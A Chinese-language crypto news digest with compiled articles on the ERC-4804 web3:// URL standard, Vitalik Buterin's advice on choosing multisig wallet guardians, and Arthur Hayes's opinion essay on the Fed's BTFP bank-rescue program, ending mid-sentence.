从估值对比、业务数据与收入对比、生态情况对比三个维度进行了分析。根据各个维度得出的结果，Arbitrum 的价格可能在 1.2-2 之间，但需要注意的是，若在领取 ARB 空投时大盘并不稳定开始走熊时，则 OP 的市值也会有一定的下降，此时 ARB 的保守价格也会随之下降。 最后的最后，恭喜跟着 Biteye 一起撸到空投的群友！！！我们在 21 年跟 22 年多次出了 OP 跟 ARB 的交互教程文章与直播课程，之后还会给大家带来更多 L2、ZK 生态中优质项目交互的详细教学。  ( 6 min )
    一文了解刚获批的ERC-4804：跟HTTP说再见，Web3 URL 正式进入以太坊
    原文：《Forget HTTP: Ethereum has a new URL standard that can’t be blocked》by Felix NG 编译：Moni 3 月初，首个以太坊 Web 访问协议 ERC-4804 获得了批准，这意味着 Web3 URL 正式进入以太坊，互联网用户也将可以更轻松地访问以太坊 APP 和 NFT。 实际上，这个全新的以太坊域名标准全称是“Web3 URL to EVM Call Message Translation”，于 2022 年 2 月 14 日首次提出，该提案由 ETHStorage 创始人 Qi Zhou、以太坊研究员 Sam Wilson 和 Chao Pi 共同撰写，其中将“Web3 域名” 描述为一个“HTTP 风格”的 URL，可以直接访问链上的 Web3 内容，包括去中心化应用程序（DApps）前端和 NFT，在历经一年多的评估和投票后，终于在主网上获得批准并最终确定。 在许多情况下，当前加密生态系统仍然依赖中心化的 Web 服务器来访问“去中心化”的应用程序，二层存储协议 ETHStorage 发言人 Anthurine Xiang 解释说： “现在，所有像 Uniswap [...] 你必须通过 DNS，必须通过 GoDaddy[...] ，但所有这些都是中心化服务器。” ERC-4804 标准和传统 Web3 URL 访问对比，资料来源：w3eth.io 坦率地说，之所以会有这种现象，是因为如今大多数用户依然选择通过更广为人知的 HTTP 的“超文本传输协议”访问互联网。 当互联网用户单击链接或键入网站地址时，计算机会使用 HTTP 请求另一台计算机检索信息，例如网站或图片。也就是说，从 Web3 读取数据通常依赖于 Web2 代理到 Web3 区块链的转换，但这个“翻译”工作基本上由 dApp 网站/节点服务提供商/etherscan 等代理完成，用户无法控制。 而在 ERC-4804 协议下，互联网用户可以选择在浏览器中输入“web3://”（而不是“http://”）即可直接调出 Uniswap 或链上 NFT 等 Dapp，这是因为该标准允许用户直接对以太坊虚拟机 (EVM) 运行查询，继而为 Web2 用户提供一种简单的方式来直接访问 Web3 的内容，尤其是 SVG/HTML 等链上 Web 内容，此外该标准也支持其他已经与 URI 兼容的标准（如 SVG/HTML）的互操作性，继而不必担心中心化审查问题。 Web3 URL 标准与 Uniswap 协同工作流程图。资料来源：w3eth.io ERC-4804 标准具体有啥？ 接下来，让我们深入了解一下这个 ERC-4804 标准的具体内容，该标准设定的 Web3 URL 的形式如下： web3Schema表示URL的schema，简称web3://为w3://。 userinfo指示哪个用户正在调用EVM，即EVM 调用消息中的“From”字段。如果未指定，协议将使用 0x0 作为发送方地址。 contractName表示要调用的合约，即EVM调用消息中的“To”字段。如果contractName是地址，即 0x + 20 字节数据十六进制，则“To”将是地址。否则，名称来自名称服务。在第二种情况下，nsProviderSuffix将是名称服务提供商的后缀，例如“eth”等。将名称从名称服务转换为地址的方式将在后面的 EIP 中讨论。 chainid指示哪个链解析contractName并调用消息。如果未指定，协议将使用与名称服务提供者相同的链，例如，1 代表 eth。如果没有可用的名称服务提供者，则默认的 chainid 为 1。 query是一个可选组件，包含一系列由“&”分隔的属性值对。 一旦确定了“To”地址和 chainid，ERC-4804 协议将通过调用“resolveMode”方法检查合约的解析器模式，目前支持两种解析模式，分别是：手动模式和自动模式： 1、手动模式：手动模式不会对path和query做任何解释，把path [ “?” query ] 直接作为消息的calldata。 2、自动模式：自动模式是默认的解析模式（当目标合约中的“resolveMode”方法不可用时也适用）。在自动模式下，如果路径为空，则协议将调用带有空调用数据的目标合约。否则，EVM 消息的调用数据将使用标准的 Solidity 合约 ABI 编码解码。 实际上，只要网站的内容存储在以太坊区块链或兼容的二层协议上，理论上就可以通过 Web3 域名方式访问整个网站，但这样做的成本非常高（至少目前而言是这样）。 在上月 ETHDenver 大会上，ETHStorage 创始人 Qi Zhou 分析了这个问题： “ERC-4804 的关键问题在于以太坊上的存储成本在主网上非常非常昂贵，例如，1 GB 的链上数据将花费大约 1000 万美元……对于许多 Web2 应用程序甚至许多 NFT 来说，这是不可接受的，不过二层存储解决方案可以帮助降低一些成本。” 考虑到成本问题，ETHStorage 的发言人 Anthurine Xiang 建议 ERC-4804 URL 标准可以首先在某些特定应用上使用并进一步解释说： 另一个问题是，ERC-4804 标准可能会被面临审查风险的网站利用，比如 Tornado Cash，这意味着该标准或许会被不良行为者利用来参与非法活动。对于这个问题，Anthurine Xiang 坦言：“这真的很难说，就像比特币创立初衷并不是为邪恶而生，但一开始，的确有人做一些不正当的事情，比如 Silk Road，他们一直在使用比特币，但比特币只是为人们提供了一个他们可能没有的去中心化选择。 而 ERC-4804 以太坊 URL 标准也是区块链上第一个此类标准 ” 事实上，ERC-4804 标准并不是首个去中心化网络托管解决方案，比如星际文件系统 (IPFS) 也是一个基于去中心化方式创建网络的解决方案，不过IPFS URL 只能链接到静态内容，无法修改或更改。相比而言，ERC-4804 将允许“动态数据”，例如允许人们留下喜欢和评论以及与网站上的内容互动，而且作为以太坊原生的标准，ERC-4804 也有望更容易地与其他区块链进行交互。 无论如何，ERC-4804 给加密社区提供了一个以太坊原生的 URL 标准，未来能否衍生出一些新的方向生态应用，值得关注。  ( 5 min )
    Vitalik撰文：如何选择多重签名和社交恢复钱包的“守护人”？
    原标题：How I think about choosing guardians for multisig and social recovery wallets 作者：Vitalik Buterin 编译：Felix, PANews 多重签名钱包（例如Gnosis Safe）是一种简单且安全的资金存储方式，具备自托管方式的大部分优点。你的资金不会因为看似值得信赖的中心化实体而丢失，并且个人也不需要对整个安全设置的风险负责。我个人使用多重签名钱包来存储我的大部分资金，以太坊基金会也是如此。 和多重签名钱包关联密切的是社交恢复钱包，社交恢复钱包可以使用单个密钥来签署交易，但如果该密钥丢失，则可以使用其他人持有的一组密钥来恢复资金。社交恢复钱包比多重签名钱包更容易使用，特别是随着ERC-4337帐户抽象的兴起，以及即将推出的Soul Wallet等钱包，该技术对用户将更加友好。一般来说，一旦社交恢复钱包变得足够成熟，我的建议是将社交恢复用于存储个人或组织一小部分资金的热钱包，将多重签名用于存储个人或组织储蓄的冷钱包。 多重签名钱包和社交恢复钱包都依赖于“守护人”的概念：一组N个地址，通常由其他人持有，其中，M个中的任何签名都可以批准操作（例如可以设置 N=6和M=4）。在多重签名钱包的情况下，每笔交易都必须由N个“守护人”中的M个签名。在社交恢复钱包的情况下，只有一个密钥可以签署交易，但如果该密钥丢失，N个“守护人”中的M必须签署一条消息以重置密钥。 安全使用多重签名钱包和社交恢复钱包的两个关键问题是： （i）你选择谁作为“守护人” （ii）你对他们有什么指示？ 这篇文章将概述我对这两个问题的看法。这里的想法应该同样适用于为个人和组织确保资金安全的多重签名和社会恢复钱包。 我们想从“守护人”那里得到什么？ 这个答案简单而简短，但它指导了我对“守护人”所做的所有选择。 部分“守护人”安装在自己的设备上是可以的，但不能多 让至少一个“守护人”安装在自己设备上是很正常的——这样做不会减少去中心化，毕竟，这是你的钱。然而，一旦超过了由你自己控制的“守护人”，你就会陷入一个两难的权衡：你会减少对其他人的信任，虽然会存在黑客攻击、被胁迫、或丧失行为能力或死亡等风险，但你也会将更多的权力集中在自己身上。 我的经验是，足够多的“守护人”应该由其他人控制，如果你消失了，还有足够多的其他“守护人”可以收回你的资金。也就是说，您应该至少控制1个“守护人”，最多控制 N-M 个“守护人”。此外，每个“守护人”都应使用单独的设备（笔记本电脑、手机、旧手机等）。 选择不经常交流或最好彼此不认识的“守护人” 理想情况下，“守护人”不应该知道彼此是谁。这大大降低了他们勾结的风险，而且他们没有充分的理由相互认识。如果你出了什么事，他们仍然能够找到对方，因为在这种情况下人们会自然而然地想到传统礼节（例如联系你的家人）。 另外，你要尽可能地减少“守护人”之间的相关性：不要选择居住在同一个城市（或者最好是同一个国家）的两个“守护人”，或者使用相同类型钱包的两个“守护人”，并且有一个不同操作系统之间的平衡。 “守护人”应在批准操作前询问安全问题 当您要求“守护人”为您批准一项操作时（在多重签名中，这可以是任何交易，而在社交恢复钱包中，这将重置您的帐户密钥），他们不应该简单地立即批准。这对安全来说将是一场灾难：如果有人侵入你的聊天帐户，他们可以扫描你的消息，找出你的“守护人”是谁，联系他们每个人并要求他们确认，从而窃取你的资金。 为了避免这种情况，我首选的协议是指示“守护人”提出安全问题。也就是说，当你要求确认你的操作时，“守护人”应该问你一些只有你们两个人和其他人很少知道的事情（例如我们最后一次见面时，吃的是什么？)，只有在你给出正确答案的情况下才确认操作。通常选择语音或视频通话，但在深度造假的AI时代，其安全性变弱，因此将语音/视频通话与询问某种安全问题结合起来更好。 除非你在做“赌徒”的事情，确保有可以快速响应的“守护人”。否则，上述均无问题 如果你正在链上做合约，你可能需要钱包快速响应：如果合约出现漏洞就撤出资金，如果你接近被清算就转移资金等等。如果你的需求包括这一点，那么你需要可以在短时间内迅速采取行动的“守护人”来保护你的资金。然而，如果你不做这些事情，那么速度就不是特别重要，甚至速度快也可能是瑕疵，因为让他人需要紧急行动的通常是黑客。所以默认情况下，在那些在心理上厌恶这种行为的人眼中，这可能是件好事。 每年至少对每位“守护人”进行一次测试 每年至少进行一次测试。理想情况下，每年进行两次测试操作，让一半的“守护人”进行一次操作，让另一半“守护人”进行另一次操作。这可以确保您的“守护人”没有忘记或丢失他们的帐户。 更高阶问题：隐私 如今“守护人”面临的挑战之一是，尚不存在可以保护您的财务隐私免受“守护人”侵害的技术。然而，这是一个可以从技术上解决的问题：“守护人”不是直接保护你的账户，而是保护一个“密码箱”合约，你的账户和密码箱之间的链接是隐藏的。在需要进行恢复之前，让链接保持隐藏状态非常容易：例如，您的帐户可以作为“守护人”拥有一个只有密码箱才能创建的CREATE2合约。然而，即使在恢复后，要使链接保持隐藏状态，也需要更先进的ZK-SNARK技术。因此，我预计这个问题会在未来几年慢慢得到解决。  ( 4 min )
    Arthur Hayes：美联储救市，“印钞机”启动
    原文：《Kaiseki》by Arthur Hayes 编译：Kate， Marsbit 北亚的冬天已经过去了。温暖的天气、阳光和樱花的早开预示着春天的到来。从美丽的北海道山区出发后，我在东京度过了最后一个周末。 一天下午，在吃完一顿丰盛的午餐后，我向一位非常有经验的员工询问了日本料理中一个一直令我困惑的方面。我的问题是：omakase 和怀石料理有什么区别？在这两种情况下，厨师都会根据最美味的时令食物来选择菜单。工作人员解释说怀石料理的全部目的是为抹茶茶道做准备。厨师应该做一顿饭，让你的身体准备好接受茶。 当你坐下来享用怀石料理时，目的地是已知的，但路径却是未知的。这让人想起了世界主要中央银行的现状，特别是美联储 (Fed)。自从美联储在 2022 年 3 月开始加息以来，我一直认为，最终的结果总是会是一场重大的金融动荡，随后又会恢复印钞。重要的是要记住，美联储和所有其他主要央行的最佳利益是延续我们当前的金融体系——这赋予了他们权力——所以实际上，清理二战以来积累的巨额债务和杠杆是不可能的。因此，我们几乎可以肯定地预测，他们在应对任何实质性的银行业或金融危机时，将会印钞，并鼓励另一轮同样的行为——正是这些行为最初将我们置于危险境地。 我和其他许多分析师都站在虚拟的肥皂盒上，预测美联储将继续加息，直到他们有所突破。没有人确切地知道什么会先破裂，但我们都确信它会发生。我不想说得太超前，但一些人 ( 包括我 ) 坚持认为，2023 年美国金融体系某些部分的中断将迫使美联储逆转我们过去一年所处的紧缩周期——看起来我们正在正确的轨道上。 回到丛林后，我和我最喜欢的对冲基金经理坐下来吃了一顿美味的川菜。我们聊了聊个人的事情，然后在晚餐的大部分时间里讨论了美联储新的银行定期融资计划 (BTFP) 的影响。BTFP 也代表 Buy The Fucking Pivot！我以为我理解美联储刚刚所做的事情的重要性，但我没有完全意识到这项政策的真正影响有多大。我将在后面的文章中详细介绍我学到的东西——但我只想说，BTFP 是收益率曲线控制 (YCC) 以一种新的、闪亮的、更令人满意的格式重新包装。这是一个非常聪明的方式来实现无限购买政府债券，而无需实际购买它们。 为了充分理解为什么 BTFP 计划如此具有开创性，并最终对储户造成破坏，让我们回顾一下我们是如何走到这一步的。我们必须首先理解为什么这些银行会破产，以及为什么 BTFP 是对这场危机非常优雅的回应。 结束的开端始于 2020 年 3 月，当时美联储承诺将尽一切努力遏制 COVID-19 带来的金融压力。 在西方 ( 尤其是美国 )，新冠病毒是中国 / 亚洲的一种东西，再加上一点街头油炸蝙蝠。精英们宣称一切正常。然后，突然之间，人们开始生病。美国封锁的幽灵开始上升，美国市场开始暴跌。公司债券市场紧随其后，此后不久就冻结了。这种失调迅速蔓延，随后蔓延到了美国国债市场。美联储在被逼入绝境后，迅速采取行动，将美国企业信贷市场国有化，并向该体系注入大量流动性。 作为回应，美国联邦政府积累了二战以来最大的财政赤字，以便将资金直接注入人们的银行账户 ( 以刺激支票的形式——或者，我喜欢称之为「刺激计划（stimmies）」)。美联储实际上兑现了政府的支票。政府不得不发行大量新国债来为借款提供资金，美联储尽职尽责地购买这些国债，以保持利率接近于零。这是一种高度通胀的做法，但在当时，这并不重要，因为我们正在应付一场百年一遇的全球流行病。 就在此时，一场史无前例的金融繁荣开始了。每个人都有支票可以花，富人和穷人都一样。与此同时，资产投机者的资金成本降至零，鼓励了疯狂的冒险行为。每个人都很富有，一切都变成了「数字上升！」 因为公众有了这些新钱，银行被大量的存款淹没了。请记住，当我们购买商品、服务或金融资产时，钱并没有离开银行系统——它只是从一家银行转移到另一家银行。因此，大部分新印的货币最终成为一些银行资产负债表上的存款。 对于那些具有系统重要性、「大到不能倒」(TBTF) 的大型银行，如摩根大通、花旗银行、美国银行等，存款的百分比增长是明显的，但并不荒谬。但对于中小型银行来说，这个数字是巨大的。 美国银行业的小机构 ( 有时被称为地区银行 ) 从未如此富有存款。当银行吸收存款时，他们用这些存款来发放贷款。这些银行需要找到地方存放所有这些新资金，以赚取利差，也称为净息差 (NIM)。鉴于收益率要么为零，要么略高于零，将这些钱存在美联储，并从超额准备金中赚取利息，将无法覆盖它们的运营成本——因此，银行不得不通过承担一定程度的信贷和 / 或期限风险来增加收益。 借款人不偿还贷款的风险被称为信用风险。你可以投资的评级最高的信用 ( 即信用风险最低的信用 ) 是美国政府的债务——也被称为国债——因为政府可以合法地印钱来偿还债务。你能投资的最糟糕的信用是像 FTX 这样的公司的债务。贷方愿意承担的信用风险越大，贷方向借款人要求的利率就越高。如果市场认为企业拖欠债务的风险在增加，信用风险也会增加。这导致债券价格下跌。 总的来说，大多数银行都非常厌恶信用风险 ( 也就是说，他们不想把钱借给他们认为可能违约的公司或个人 )。但是，在一个最明显、最安全的选择——投资短期美国国债——收益率接近 0% 的市场上，他们需要找到一些盈利的方法。因此，许多银行开始通过承担久期风险来提高收益率。 久期风险是指利率上升将导致特定债券价格下跌的风险。我不会用计算债券存续期的数学方法来折磨你们，但你可以把存续期理解为债券价格对利率变化的敏感性。债券的到期日越长，该债券的利率风险或久期风险就越大。久期风险也会随着利率水平的变化而变化，这意味着久期风险与给定利率水平之间的关系不是恒定的。这意味着当利率从 0% 上升到 1% 时，债券比从 1% 上升到 2% 时对利率更敏感。这叫做凸性，或者伽玛。 总的来说，大多数银行通过借钱给美国政府的各个部门 ( 而不是高风险公司 ) 来限制信贷风险，但通过购买期限更长的债券 ( 期限风险更大 ) 来增加利息收入。这意味着，随着利率上升，随着债券价格下跌，他们将迅速损失大量资金。当然，银行本可以通过交易利率掉期来对冲利率风险。有些人做到了，很多人没有。你可以读到 SVB 管理层在对冲政府债券投资组合中隐含的巨大利率风险时做出的一些非常愚蠢的决定。 我们来算算。如果一家银行吸收了 100 美元的存款，那么他们就会购买 100 美元的美国国债，如美国国债 (UST) 或抵押贷款支持证券 (MBS)。到目前为止，这种资产负债管理策略没有任何问题。在实际操作中，存款与贷款的比例应小于 1：1，才能有安全的贷款损失边际。 如上图所示，美国银行在 2020 年和 2021 年购买了大量 UST 股票。这对美国政府来说是件好事，因为他们需要为这些临时支票提供资金。这对银行来说并不是什么好事，因为当时的利率处于 5000 年来的最低点。一般利率水平的任何小幅上升都将导致银行债券投资组合的大规模按市值计价损失。美国联邦存款保险公司 (FDIC) 估计，由于利率上升，美国商业银行的政府债券投资组合价值缩水，它们的资产负债表上总共出现了 6200 亿美元的未实现亏损。 银行如何向储户和股东隐瞒这些巨额未变现损失？银行用许多合法的会计手段来掩盖损失。借出资金的银行不希望自己的收益随着可交易债券投资组合的市值而波动。然后整个世界就会识破他们在玩的把戏。这可能会压低它们的股价，并 ( 或 ) 迫使监管机构以违反资本充足率为由将它们关闭。因此，如果银行计划在债券到期前不出售，就可以将其标记为「持有至到期」。这意味着他们在债券到期之前都以购买价格计价。此后，无论债券在公开市场上的交易价格如何，银行都可以忽略未实现亏损。 小银行的事情进展顺利。他们的 NIM 正在增加，因为他们为客户的存款支付 0% 的利息，同时将这些存款以 1% 到 2% (UST) 的利率贷给美国政府，以 3% 到 4% 的利率贷给美国购房者 (MBS)。这看起来可能不多，但对于数千亿美元的贷款来说，这是一笔有意义的收入。由于这些「出色」的收益，银行股正在飙升。 截至 2021 年底，该 ETF 较 2020 年 3 月的低点上涨了 150% 以上。 但随后，通货膨胀出现了。 一个关于美联储历任理事的快速历史课。阿瑟·伯恩斯 (Arthur Burns) 在 1970 年至 1978 年期间担任美联储主席。当代货币历史学家并不看好伯恩斯。他之所以出名，是因为他是一位拒绝在 20 世纪 70 年代早期将通胀扼杀在萌芽状态的美联储理事。 保罗·沃尔克 (Paul Volker) 于 1979 年至 1987 年担任美联储主席。当代货币历史学家称赞沃尔克致力于消灭他的前任所追捧的通胀猛兽。沃克先生被塑造成勇敢无畏的形象，而伯恩斯先生则被塑造成软弱无力的形象。 你知道什么是悲哀吗？如果你拿枪指着我的头，我可能会列出美联储自 1913 年成立以来的每一位主席。我不能为其他重要的世界人物这样做。Kabloom ！ 鲍威尔爵士希望更像沃克而不是伯恩斯。他非常关心自己的遗产。鲍威尔做这份工作不是为了赚钱——他很可能是一个百万富翁。这一切都是为了巩固他在历史上作为一股好的货币力量的地位。这就是为什么当通货膨胀率在大流行后升至 40 年来的高点时，他穿上他最好的沃尔克服装，走进水手埃克尔斯大楼，准备大干一场。 2021 年底，美联储发出信号称通胀令人担忧。具体来说，美联储表示将开始将利率提高到 0% 以上，并缩减资产负债表规模。从 2021 年 11 月到 2022 年 1 月初，风险资产价格见顶。痛苦列车即将开出车站。 当前美联储的紧缩周期是有记录以来最快的 ( 也就是说，美联储加息的幅度比以往任何时候都要大 )。因此，2022 年对债券持有人来说是几百年来最糟糕的一年。 鲍威尔觉得他在做必须做的事。为大多数拥有零金融资产的美国人降低商品和服务的价格，富人的金融资产组合退居二线。他并不担心某些对冲基金今年会大幅缩水，也不担心银行家的奖金会大幅缩水。吃富人，美国经济强劲，失业率很低。这意味着他可以继续提高利率，消除美联储只关心提高金融资产价格以帮助富人的观念。什么鬼英雄！！！！ 但是，麻烦正在银行业酝酿。 作为银行储户，你会认为当美联储提高利率时，你的存款将获得更高的利率。错了。 以上来自 Bianco Research 的图表显示，存款利率远远落后于较高的货币市场基金利率，后者与美联储的政策利率步调一致。 TBTF 银行不需要提高存款利率，因为它们实际上并不需要存款。它们在美联储拥有数万亿美元的超额准备金。它们的客户也往往是较大的企业客户，这些企业的存款具有粘性。财富 500 强公司的首席财务官不会为了多赚几个基点而抛弃摩根大通，跳槽到总部位于美国 Bumblefuck 的地区性银行。首席财务官喜欢被带去 Cipriani，而不是 Applebee。大型企业还能从大型银行获得其他服务——比如低息贷款——作为留住忠实储户的回报。 小银行无法提高存款利率，因为它们负担不起。这些银行持有的 UST 和 MBS 债券的利率低于当前的联邦基金利率。这意味着，如果它们上调贷款利率以赶上美联储的水平，他们将拥有巨大的负净息差。相反，他们只是希望储户不会注意到，他们可以把钱从银行取出来，投资于货币市场基金，从而获得几乎零风险的 5%。显然，这个策略没有奏效。 结果，储户纷纷逃离小银行，转而投资收益率高得多的货币市场基金。 资料来源：Bianco Research 随着存款逃离小银行，他们不得不出售资产负债表上流动性最强的资产。UST 和 MBS 债券流动性超强。然而，由于它们是在 2020 年和 2021 年购买的，在 2022 年底 / 2023 年初按市值计价时，这些债券的价值大幅降低。 Silvergate 的破产是煤矿里的金丝雀。在管理层决定通过成为游戏中最加密友好的银行来铺平致富之路之前，Silvergate 是一家没有名字的加州银行。在短短几年内，Silvergate 成为所有需要美元银行服务的最大交易所、交易商和加密货币持有者的首选银行。 他们的存款基础迅速膨胀，他们将储户的钱投资于美国国债——这通常是你能做的最安全的投资之一。他们并不是在和像三箭资本这样狡猾的公司或个人打交道，他们把钱借给了世界上最富有、最强大的国家。 Silvergate 的加密货币储户之所以决定逃离，与他们意识到该银行的资产 ( 按市值计算 ) 不等于负债无关。相反，这是关于 Silvergate 和 FTX 之间关系的猜测。储户不想瞎搞，也不想弄清楚 Silvergate 是否以任何方式、形式或形式启用了 ( 甚至只是知道 ) 来自 FTX 的狡猾和潜在的非法活动。因此，他们反弹了，银行不得不亏本出售贷款和债券来偿还。这就是为什么 Silvergate 在 2022 年报告了 7.54 亿美元的惊人亏损。 但资本外流并没有停止。在某种程度上，市场开始担心 Silvergate 的资产能否以足够高的价格出售，以偿还所有储户。银行挤兑正式开始，到上周中期，该银行已申请破产保护。 然后，SVB 的配股发行失败了，这事真的很糟糕。配股是指一家公司在投资银行的帮助下，以低于当前市场价格的价格向大型机构投资者出售股票。英国《金融时报》对此次交易做了一篇精彩的报道。 SVB 的配股发行之所以有趣，是因为其执行的先后顺序。高盛 (Goldman Sachs) 曾参与竞购资不抵债的 SVB 债券组合，并协调配股发行。 「高盛 (Goldman Sachs) 上周购买了硅谷银行 (Silicon Valley Bank) 出售的价值逾 210 亿美元的证券——这笔交易引发了同样由这家华尔街投行管理的一笔不幸的股票出售。」——英国《金融时报》 问题是，为什么 SVB 先把债券卖给高盛，然后再进行配股？SVB 一旦出售债券，就必须承认损失，很明显，该银行很可能违反了监管资本要求。它还必须向投资者 ( 即可能购买该股票的人 ) 披露所有这些信息。如果一家银行不久前刚刚宣布遭受巨额亏损，而且可能没有达到资本充足率，你为什么还要购买它的股票呢？显然你不会，也没人会。在 SVB 的配股发行遭遇重大失败后，科技界的名人指示他们的投资组合公司立即从 SVB 撤资——几天后，这家银行破产了。 这一悲惨故事的寓意是，SVB 配股的失败进一步加剧了市场对地区银行资产负债表上未变现亏损的关注。市场开始提出更多问题。还有谁会有麻烦？ 事实证明，整个美国地区银行业都存在一些与 Silvergate 和 SVB 相同的问题。让我们来回顾一下为什么这些银行完蛋了： 上周末，全世界都在关注加密货币和科技兄弟们在 Silvergate 和 SVB 的存款。Circle 的 USDC 稳定币脱钩，并开始在 0.90 美元以下交易，因为人们担心它对 Silvergate、SVB 和 Signature Bank 有很大的敞口。许多人认为，这个问题与加密或技术无关，而是指向了一个系统性问题，影响了所有没有被视为「大到不能倒」的银行。 结果，所有人都知道，周一上午美国股市开盘时，将有更多银行受到惩罚。具体来说，许多人想知道全国范围内的银行挤兑是否会接踵而至。 美联储 (Fed) 和美国财政部 (Treasury) 没有让一场好的危机白白浪费。他们设计了一个真正优雅的解决方案来解决一些系统性问题。最重要的是，他们将责任归咎于管理不善的加密货币和技术银行，因为他们不得不介入并做一些他们无论如何都必须做的事情。 现在，我将详细介绍描述 BTFP 的真正改变游戏规则的文档。( 该文件中的引文以粗体和斜体显示，引文下面列出了引文的实际含义。) 银行定期资助计划 计划：为了向美国存款机构提供流动性，每个联邦储备银行将向符合条件的借款人垫款，并将某些类型的证券作为抵押品。 借款人资格：任何有资格获得初级信贷（参见 12 CFR 201.4(a)）的美国联邦保险存款机构（包括银行、储蓄协会或信用合作社）或美国分支机构或代理机构均有资格根据以下条件借款该程序。 这是不言自明的——你必须是一家美国银行才能参与该计划。 合格抵押品：合格抵押品包括联邦储备银行在公开市场操作中有资格购买的任何抵押品 ( 见 12 CFR 201.108(b))，前提是该抵押品在 2023 年 3 月 12 日之前为借款人所有。 这意味着，在该计划下，有资格作为抵押品的金融工具主要限于美国国债和抵押贷款支持证券。通过设定截止日期，美联储将该计划的范围限制在美国银行持有的 UST 和 MBS 的总规模 ( 约 4.4 万亿美元 )。 预支金额：预支金额将限于合格借款人所抵押的合格抵押品的价值。 没有大小限制。如果你的银行持有 1000 亿美元的 UST 和 MBS，你可以提交该总额以使用 BTFP 提供资金。这意味着，从理论上讲，美联储可以以美国银行业资产负债表上持有的全部 UST 和 MBS 证券为抵押发放贷款。 前面两段 BTFP 非常重要，需要理解。美联储刚刚以另一种名义实施了 4.4 万亿美元的量化宽松政策。让我解释一下。 量化宽松（QE）是美联储将准备金贷给银行的过程，作为回报，银行将持有的 UST 和 MBS 出售给美联储。根据 BTFP，美联储不会直接从银行购买债券，而是印刷钞票，并以银行的 UST 和 MBS 抵押品为抵押发放贷款。如果存款人想要 4.4 万亿美元的现金，银行只需将其全部 UST 和 MBS 组合抵押给美联储，以换取现金，然后美联储再将现金转交给存款人。无论是量化宽松还是 BTFP，美联储创造并投入流通的货币数量都会增长。 利率：定期预付款利率为一年期隔夜指数掉期利率加 10 个基点，费率将在预付款支付之日确定。 抵押品估值：抵押品估值为票面价值。保证金为面值的 100%。 美联储的货币以 1 年期利率定价。鉴于短期利率远高于长期利率，这意味着银行在大多数情况下，在贷款期限内会产生负利率。即使亏损很严重，他们也可以以 100% 的价值兑换水下债券，而不是承认亏损并破产。Err'body 保住了他们的工作，除了 Silvergate， SVB 和 Signature 的可怜人。第一个将是最后一个…… 预付款期限：预付款将提供给符合条件的借款人，期限最长为一年。 计划持续时间：至少在 2024 年 3 月 11 日之前，可以根据该计划申请预付款。 这个计划据说只会持续一年……什么时候政府会把人民在危机时期给予他们的权力还给他们呢？这一计划几乎肯定会被提前延长——否则，市场将抛出足够大的契机来证明它需要解决印钞问题，并且无论如何都会延长该计划。 为了应对新冠疫情，美联储印了 4.189 万亿美元。美联储立即通过实施 BTFP 暗中印制了 4.4 万亿美元。在 COVID 印钞期间，比特币从 3000 美元上涨到 6.9 万美元。这次它会做什么？ 与 2008 年金融危机不同的是，这次美联储没有救助银行，也没有让它们参与上涨。银行必须支付 1 年期利率。1 年期利率远高于 10 年期利率 ( 也称为反向收益率曲线 )。该银行从储户那里借入短期资金，并向政府借出长期资金。当收益率曲线反转时，这种交易肯定会赔钱。同样，任何使用 BTFP 的银行都需要向美联储支付比其存款利率更高的利息。 在收益率曲线再次转为正倾斜，或者短期利率降至其贷款和债券组合的混合利率以下之前，银行的收益将一直为负。BTFP 并不能解决银行无法支付储户在货币市场基金或国债中可以获得的高额短期利率的问题。存款仍然会流向这些工具，但银行可以从美联储借钱来填补这个漏洞。从会计的角度来看，银行及其股东会亏损，但银行不会破产。我预计银行股的表现将严重落后于大盘，直到它们的资产负债表得到修复。 购买 MBS 对银行来说仍然有利可图，因为与 1 年期利率的利差为正。随着银行套利美联储，MBS 利率将向 1 年期利率靠拢。想象一下，2021 年，一家银行吸收了 100 美元存款，并购买了 100 美元国债。到 2023 年，国债价值 60 美元，使银行破产。银行利用 BTFP，将其国债交给美联储，收回 100 美元，但必须支付美联储 5% 的利息。银行现在购买 MBS，由政府担保，收益率为 6%。银行将 1% 的无风险利润收入囊中。 抵押贷款利率将与 1 年期利率同步变动。美联储对收益率曲线的短端有着巨大的控制权。它基本上可以随心所欲地设定抵押贷款利率，而且它永远不必「购买」另一个单一的 MBS。 随着抵押贷款利率的下降，房屋销售将会回升。与大多数其他国家一样，房地产在美国是一门大生意。随着融资变得更容易，销售增加，这将有助于增加经济活动。如果你认为房价会变得更便宜，那就大错特错了。美联储再次采取行动，再次推高房价。 如果你有一个美国银行账户，而美联储刚刚为你的存款提供担保，那么如果没有美联储的这种担保，你为什么还要把钱存在其他银行体系呢？资金将从国外涌入美国，这将使美元走强。 在这种情况下，所有其他主要发达国家的央行都必须效仿美联储，出台类似的担保措施，以遏制银行存款外流，削弱本国货币。欧洲央行、英国央行、日本央行、澳大利亚央行、中国央行、瑞士央行等可能欣喜若狂。美联储刚刚颁布了一种无限印钞的形式，所以现在他们也可以了。美国银行体系面临的问题与其他任何银行体系面临的问题是一样的。每个人都从事同样的行业，现在在鲍威尔爵士的领导下，每个央行都可以用同样的药来应对，而不会被指责引发法定恶性通胀。 实际上，瑞信 (Credit Suisse) 几天前刚刚破产。瑞士国家银行不得不向 CS 提供 500 亿瑞郎的担保贷款，以止住危机。预计每一个主要的西方发达国家都会有一家大银行濒临倒闭——我猜想，在每一个情况下，应对措施都将是全面的存款担保 ( 类似于美联储所做的 )，以避免危机蔓延。 正如 BTFP 文件所述，截至 2023 年 3 月 12 日，该工具只接受银行资产负债表上的抵押品，并在一年后结束。但正如我上面提到的，我认为这个计划永远不会结束，而且我还认为，我还认为符合条件的抵押品数量将放宽到持牌美国银行资产负债表上存在的任何政府债券。我们如何从有限支持到无限支持？ 一旦人们清楚地认识到利用 BTFP 并不可耻，对银行挤兑的担忧就会消失。到那时，储户将不再把资金存入摩根大通等 TBTF 银行，而是开始提取资金，购买 2 年或更短时间到期的货币市场基金 (MMF) 和美国国债。银行将无法向企业放贷，因为它们的存款基础在美联储的逆回购工具和短期政府债券中正在冷却。这对美国和其他所有实施类似计划的国家来说都将是极其严重的衰退。 政府债券收益率将全面下跌，原因如下。首先，整个美国银行系统不得不出售全部美国国债来偿还储户使其担忧消失了。这消除了债券市场上巨大的抛售压力。其次，市场将开始反映通货紧缩，因为银行系统无法恢复盈利 ( 从而创造更多贷款 )，直到短期利率降至足够低的水平，能够以与逆回购工具和短期国债竞争的利率吸引储户回来。 我预计，美联储要么会及早认识到这一结果，并在即将召开的 3 月会议上开始降息，要么一场严重的衰退将迫使他们在几个月后改变路线。自危机爆发以来，2 年期国债收益率已暴跌逾 100 